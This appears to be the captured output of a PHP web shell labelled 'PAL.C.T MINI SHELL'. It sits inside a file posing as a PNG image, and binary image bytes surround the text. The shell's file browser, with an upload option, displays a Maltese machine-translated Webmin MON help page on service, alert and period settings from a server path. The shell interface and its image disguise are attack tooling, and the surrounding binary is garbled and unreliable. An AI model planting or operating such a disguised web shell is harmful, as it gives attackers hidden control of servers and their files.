php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/mon/help/
upload
files >> //usr/libexec/webmin/mon/help/service.mt.auto.html

<header> Għajnuna MON dwar Definizzjonijiet ta &#39;Servizz </header><p> Dan huwa t-tieni u l-aħħar stadju għall-konfigurazzjoni MON. <p> Il-valuri awtomatiċi jintwerew għas-servizzi Mandatorji <marked in RED color> . Ara t-tema ta &#39;għajnuna rispettiva hawn taħt għal aktar għajnuna dwar id-Definizzjonijiet tas-Servizz. <p> Għal <b>&quot;mail.alert&quot;</b> , żgura li l-sendmail huwa kkonfigurat u d-deamon <b>&quot;sendmail&quot;</b> jinbeda fuq il-hostmachine. <H3> Definizzjonijiet tas-Servizz </H3><P><DL COMPACT><DT> <B>servizz ta &#39;</b> <I>servicename</i> <DD> Definizzjoni tas-servizz tibda bit-keyword <B>servizz</b> segwita minn kelma li hija t-tikketta għal dan is-servizz. <P> Il-komponenti ta &#39;servizz huma intervall, tissorvelja, u definizzjoni ta&#39; perjodu ta &#39;ħin jew aktar, kif definiti hawn taħt. <P> Jekk isem ta &#39;servizz ta&#39; &quot;default&quot; huwa definit fi grupp ta &#39;arloġġi msejjaħ &quot;dafault&quot; (ara hawn), allura d-definizzjoni default / default għandha tintuża għall-immaniġġjar ta&#39; nases mon magħrufa. <P><DT> <B>intervall ta &#39;</b> <I>żmien</i> <DD> L- <B>intervall tal-</b> kliem segwit minn valur ta &#39;ħin jispeċifika l-frekwenza li skrin ta&#39; monitor jiġi attivat. Il-valuri tal-ħin huma definiti bħala &quot;30s&quot;, &quot;5m&quot;, &quot;1h&quot;, jew &quot;1d&quot;, jiġifieri 30 sekonda, 5 minuti, 1 siegħa, jew 1 jum. Il-porzjon numeriku jista &#39;jkun frazzjoni, bħal &quot;1.5h&quot; jew siegħa u nofs. Dan il-format ta &#39;speċifikazzjoni ta&#39; żmien se jkun imsejjaħ <I>timeval</i> . <P><DT> <B>żmien ta &#39;</b> <I>traptimeout</i> <DD> Din il-kelma prinċipali tieħu l-istess argument ta ’speċifikazzjoni tal-ħin bħall- <B>intervall</b> <I>,</i> u tagħmel is-servizz jistenna nassa minn sors estern għall-inqas dak ta’ spiss, inkella nuqqas jiġi reġistrat. Dan jintuża għal servizz ta &#39;taħbit tal-qalb. <P><DT> <B>l-iskadenza tal-</b> <I>trapdurazzjoni</i> <DD> Jekk tiġi rċevuta nassa, l-istatus tas-servizz li n-nassa ġiet ikkonsenjata normalment tibqa &#39;kostanti. Jekk tiġi speċifikata <B>trapduration</b> , l-istatus tas-servizz jibqa &#39;fi stat ta&#39; falliment għat-tul speċifikat mill- <I>timeval</i> , u mbagħad jerġa &#39;jiġi ssettjat għal &quot;suċċess&quot;. <P><DT> <B>ħin ta &#39;</b> <I>randskew</i> <DD> Minflok ma skeda l-iskrittura tal-monitor biex titħaddem fil-bidu ta &#39;kull intervall, aġġusta bl-addoċċ l-intervall speċifikat mill-parametru tal- <B>intervall</b> billi plus-jew-minus <B>randskew.</b> Il-valur tal-inklinazzjoni huwa speċifikat bħala l-parametru tal- <B>intervall</b> : &quot;30s&quot;, &quot;5m&quot;, eċċ ... Pereżempju jekk l- <B>intervall</b> huwa 1m, u l- <B>randskew</b> huwa &quot;5s&quot;, allura <I>mon</i> se skeda l-iskrittura tal-monitor xi żmien bejn kull 55 sekonda u 65 sekonda. L-intenzjoni hija li tgħin tqassam it-tagħbija fuq is-server meta ħafna servizzi huma skedati fl-istess intervalli. <P><DT> <B>tissorvelja</b> <I>l-isem tal-monitor [arg ...]</i> <DD> Il- <B>monitor tal-</b> kelma tal-kelma segwit bl-isem tal-iskript u l-argumenti jispeċifika l-monitor li għandu jaħdem meta jiskadi t-tajmer. Il-konvenzjonijiet li jikkwotaw bħal qoxra huma segwiti meta jiġu speċifikati l-argumenti li jibagħtu lill-iskrittura tal-monitor. L-iskrittura hija invokata mid-direttorju mogħti bl-argument tal <B>-s</b> , u l-kliem kollha li ġejjin huma fornuti bħala argumenti għall-programm ta ’monitoraġġ, segwita mil-lista ta’ ospiti fil-grupp imsemmi mill-grupp ta ’għassa attwali. Jekk il-linja tal-monitor tispiċċa b &#39;&quot;;;&quot; bħala kelma separata, il-gruppi ospitanti mhumiex annessi mal-lista ta &#39;argumenti meta jiġi invokat il-programm. <P><DT> <B>allow_empty_group</b> <DD> L-għażla <B>allow_empty_group</b> se tippermetti li jiġi invokat monitor anke meta l-hostgroup għal dik l-għassa jkun vojt minħabba ospiti b&#39;diżabilità. L-imġieba awtomatika mhix biex tinvoka l-monitor meta l-ospiti kollha fi grupp ta &#39;ospiti ġew b&#39;diżabilità. <P><DT> <B>deskrizzjoni tad-</b> <I>deskrizzjoni</i> <DD> Id- <B>deskrizzjoni</b> li ġejja hija mistoqsija mill-programmi tal-klijent, mgħoddija lil twissijiet u moniters permezz ta &#39;varjabbli ta&#39; l-ambjent. Għandu jkun fih deskrizzjoni qasira tas-servizz, adattata għall-inklużjoni f&#39;email jew fuq paġna tal-web. <P><DT> <B>exclude_hosts</b> <I>ospitanti [ospitanti ...]</i> <DD> Kull host elenkat wara <B>exclude_hosts</b> se jiġi eskluż mill-kontroll tas-servizz. <P><DT> <B>exclude_period</b> <I>periodpec</i> <DD> M&#39;għandekx tmexxi monitor skedat matul il-ħin identifikat minn <I>perjodpec</i> . <P><DT> <B>tiddependi mill-</b> <I>espressjoni</i> <DD> Il <B>jiddependu</b> keyword huwa użat biex jispeċifika espressjoni dipendenza, li jevalwa li jew vera ta falza, fis-sens Boolean. Id-dipendenzi huma espressjonijiet ta &#39;Perl attwali, u għandhom jobdu r-regoli sintattiċi kollha. L-espressjonijiet huma evalwati fl-ispazju tal-pakkett tagħhom stess sabiex ma jkollux aċċidentalment xi effett sekondarju mhux mixtieq. Jekk tinstab żball ta &#39;sintassi waqt l-evalwazzjoni tal-espressjoni, din tkun illoggjata permezz ta&#39; syslog. <P> Qabel l-evalwazzjoni, iseħħu s-sostituzzjonijiet li ġejjin fuq l-espressjoni: frażijiet li jidhru bħal &quot;grupp: servizz&quot; għandhom jiġu sostitwiti bil-valur tal-istatus operattiv attwali ta &#39;dak is-servizz speċifikat. Dawn is-sostituzzjonijiet ta &#39;opstatus jiġu kkalkulati b&#39;mod rikursiv, u għalhekk jekk is-servizz A jiddependi mis-servizz B, u s-servizz B jiddependi mis-servizz C, allura s-servizz A jiddependi mis-servizz C. L-istatus operattivi ta&#39; suċċess (li jevalwaw għal &quot;1&quot;) huma &quot;STAT_OK&quot;, &quot;STAT_COLDSTART &quot;,&quot; STAT_WARMSTART &quot;, u&quot; STAT_UNKNOWN &quot;. Il-kelma &quot;SELF&quot; (fil-kappijiet kollha) tista &#39;tintuża għall-grupp (eż. &quot;SELF: servizz&quot;), u hija abbrevjazzjoni għall-grupp ta&#39; għassa attwali. <P> Din il-karatteristika tista &#39;tintuża biex tikkontrolla twissijiet għal servizzi li huma dipendenti fuq servizzi oħra, eż. Test SMTP li huwa dipendenti fuq il-magna li tkun tista&#39; tinkiseb. <P><DT> <B>dep_behavior</b> <I>{a | m}</i> <DD> L-evalwazzjoni tal-graffs tad-dipendenza tista &#39;tikkontrolla t-trażżin ta&#39; invokazzjonijiet ta &#39;twissija jew monitoraġġ. <P> <B>Soppressjoni tat-twissija</b> . Jekk din l-għażla hija ssettjata għal &quot;a&quot;, allura l-espressjoni tad-dipendenza tiġi evalwata wara li l-monitor għas-servizz joħroġ jew wara li tkun irċeviet nassa. Twissija tintbagħat biss jekk l-evalwazzjoni tirnexxi, li jfisser li l-ebda wieħed mill-għoqiedi fil-graff tad-dipendenza ma jindika falliment. <P> <B>Tissorvelja t-trażżin</b> . Jekk huwa ssettjat għal &quot;m&quot;, allura l-espressjoni ta &#39;dipendenza se titkejjel qabel ma jkun sejjer jibda l-monitor għas-servizz. Jekk l-evulazzjoni tirnexxi, allura l-monitor se jitħaddem. Inkella, il-monitor mhux se jitħaddem u l-istatus tas-servizz jibqa &#39;l-istess. <P></DL><A NAME="lbAO">&nbsp;</A><H3> Definizzjonijiet tal-Perjodu </H3><P> Il-perjodi jintużaw biex jiddefinixxu l-kundizzjonijiet li għandhom jippermettu li jitwasslu twissijiet. <P><DL COMPACT><DT> <B>perjodu</b> <I>[tikketta:] perijodu</i> <DD> Perjodu jgħaqqad allarmi u varjabbli wieħed jew aktar li jikkontrollaw kemm-il darba jiġri twissija meta jkun hemm falliment. Il-kelma tal- <B>perjodu</b> għandha żewġ forom. L-ewwel tieħu argument li huwa speċifikazzjoni tal-perjodu mill-modulu ta &#39;Patrick Ryan&#39;s Time :: Perjodu 5. Irreferi għal &quot;Ħin perldoc :: Perjodu&quot; għal aktar informazzjoni. <P> It-tieni forma teħtieġ tikketta segwita minn speċifikazzjoni tal-perjodu, kif iddefinit hawn fuq. It-tikketta hija tikketta li tikkonsisti ta &#39;karattru alfabetiku jew sottoklinja segwita minn żero jew aktar alfanumeriċi jew linji minimi u li tispiċċa b&#39;żewġ punti. Din il-formola tippermetti perjodi multipli bl-istess definizzjoni tal-perjodu. Użu wieħed huwa li jkun hemm definizzjoni perjodu li ma għandux <B>alertafter</b> jew <B>alertevery</b> parametri għal perjodu ta &#39;żmien partikolari, u ieħor għall-istess perjodu ta&#39; żmien ma &#39;sett differenti ta&#39; allerti li ma fihom dawk il-parametri. <P><DT> <B>allertevery</b> <I>timeval</i> <DD> Il-kelma <B>alertevery</b> (fi <B>żmien</b> definizzjoni) tieħu l-istess tip ta &#39;argument bħall-varjabbli tal- <B>intervall</b> , u tillimita n-numru ta&#39; drabi li tintbagħat twissija meta s-servizz ikompli jonqos. Pereżempju, jekk l-intervall huwa &quot;1h&quot;, allura t-twissijiet fit-taqsima tal-perjodu biss jiġu attivati darba kull siegħa. Jekk il-kelma <B>alertevery</b> titħalla barra minn entrata tal-perjodu, tintbagħat twissija kull darba li jinstab nuqqas. B’mod awtomatiku, jekk il-ħruġ ta ’żewġ fallimenti suċċessivi jinbidel, l-intervall ta’ allertevery huwa mwarrab. Jekk il-kelma &quot;sommarju&quot; hija l-aħħar argument, allura biss il-linji ta &#39;produzzjoni fil-qosor jiġu kkunsidrati meta titqabbel il-produzzjoni ta&#39; fallimenti suċċessivi. <P><DT> <B>alertafter</b> <I>num</i> <DD><P><DT> <B>alertafter wara l-</b> <I>ħin</i> <DD> Il- <B>kelma</b> keyword <B>alertafter</b> (fi taqsima <B>ta</b> &#39; <B>perjodu</b> ) għandha żewġ forom: biss bl-argument &quot;num&quot;, jew bl-argumenti &quot;numval timeval&quot;. Fl-ewwel formola, sejħa ta &#39;allarm tiġi invokata biss wara ħsarat konsekuttivi &quot;num&quot;. <P> Fit-tieni forma, l-argumenti huma numru sħiħ pożittiv segwit minn intervall, kif deskritt mill-varjabbli ta &#39; <B>intervall ta</b> &#39; hawn fuq. Jekk dawn il-parametri huma speċifikati, allura t-twissijiet għal dak il-perjodu jissejħu biss wara li jiġru ħafna ħsarat f&#39;dak l-intervall. Pereżempju, jekk <B>alertafter</b> jingħata l-argumenti &quot;3 30m&quot;, allura t-twissija se tissejjaħ jekk 3 ħsarat iseħħu fi żmien 30 minuta. <P><DT> <B>numalerts</b> <I>num</i> <DD><P> Din il-varjabbli tgħid lis-server ma jsejjaħx aktar minn twissijiet <I>num</i> waqt falliment. Il-counter tat-twissija jinżamm fuq kull perijodu, u jerġa &#39;jinbeda fuq kull suċċess. <P><DT> <B>comp_alerts</b> <DD><P> Jekk din l-għażla tkun speċifikata, allura l-aġġornamenti jissejħu biss jekk tissejjaħ twissija &quot;down&quot; korrispondenti. <P><DT> <B>twissija ta &#39;</b> <I>twissija [arg ...]</i> <DD> Perjodu jista &#39;jkun fih twissijiet multipli, li jiġu kkawżati wara li jkun hemm servizz fis-servizz. Twissija hija speċifikata bil-kliem kjavi tat- <B>twissija</b> , segwita minn parmetru ta &#39; <B>ħruġ</b> mhux obbligatorju, u l-argumenti li huma interpretati l-istess bħad-definizzjoni tal- <B>monitor</b> , iżda mingħajr il- &quot;;;&quot; eċċezzjoni. Il <B>-</b> parametru tal- <B>ħruġ</b> jieħu l-forma ta &#39; <B>ħruġ = x</b> jew <B>exit = xy</b> u għandu l-effett li t-twissija tissejjaħ biss jekk l-istatus tal-ħruġ tal-iskrittura tal-monitor jaqa&#39; fil-firxa tal-parametru tal- <B>ħruġ</b> . Jekk, pereżempju, il-linja ta &#39;twissija hija <I>ħruġ ta&#39; twissija = 10-20 mail.alert ħażin</i> allura t <I>-twissija bil-posta</i> se tiġi invokata biss b &#39; <I>żbalji</i> bħala l-argumenti tagħha jekk il-valur tal-ħruġ tal-programm ta&#39; monitoraġġ ikun bejn l-10 u l-20. Din il-karatteristika jippermettilek li tiskatta allerti differenti f&#39;livelli ta &#39;severità differenti (bħal meta l-ispazju tad-diska ħielsa jitlaq minn 8% sa 3%). <P> Ara t-taqsima <B>ALERT PROGRAMS</b> hawn fuq għal-lista tal-premaeters li tgħaddi awtomatikament għall-programmi ta &#39;twissija. <P><DT> <B>upalert</b> <I>alert [arg ...]</i> <DD> <B>Raġel</b> huwa l-kumpliment ta &#39; <B>twissija</b> . Offalert jissejjaħ meta servizzi jagħmlu t-tranżizzjoni tal-istat minn falliment għal suċċess. L-iskrittura <B>upalert</b> tissejjaħ li tipprovdi l-istess parametri bħall-iskritt tat- <B>twissija</b> , biż-żieda tal-parametru <B>-u</b> li huwa sempliċement użat biex tħalli skript ta &#39;twissija tkun taf li qed tissejjaħ bħala upalert. Upalerts multipli jistgħu jiġu speċifikati għal kull definizzjoni tal-perjodu. Jekk jogħġbok innota li l-imġieba ta &#39;nuqqas hija li se jintbagħat upalert irrispettivament minn jekk kien hemm xi twissijiet preċedenti &quot;down&quot; mibgħuta, peress li l-upalerts huma attivati fi tranżizzjoni tal-istat. Issettja l-għażla <B>comp_alerts</b> għal kull perjodu biex tqabbad upalerts ma &#39;twissijiet &quot;down&quot;. <P><DT> <B>startupalert</b> <I>twissija [arg ...]</i> <DD> <B>Startupalert</b> jissejjaħ biss meta s-server <B>mon</b> jibda l-eżekuzzjoni. <P><DT> <B>upalertafter</b> <I>timeval</i> <DD> Il-parametru <B>upalertafter</b> huwa speċifikat bħala sekwenza li ssegwi s-sintassi tal-parametru ta &#39; <B>intervall</b> (&quot;30s&quot;, &quot;1m&quot;, eċċ.), U tikkontrolla l-attivazzjoni ta&#39; <B>upalert</b> . Jekk servizz jerġa &#39;jinħoloq wara li jkun <B>waqaf</b> għal żmien ta&#39; aktar minn jew daqs il-valur ta &#39;din l-għażla, se tissejjaħ <B>upalert</b> . Uża din l-għażla biex tipprevjeni li tissejjaħ aġġornamenti minħabba &quot;blips&quot; (qtugħ qasir). <P>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`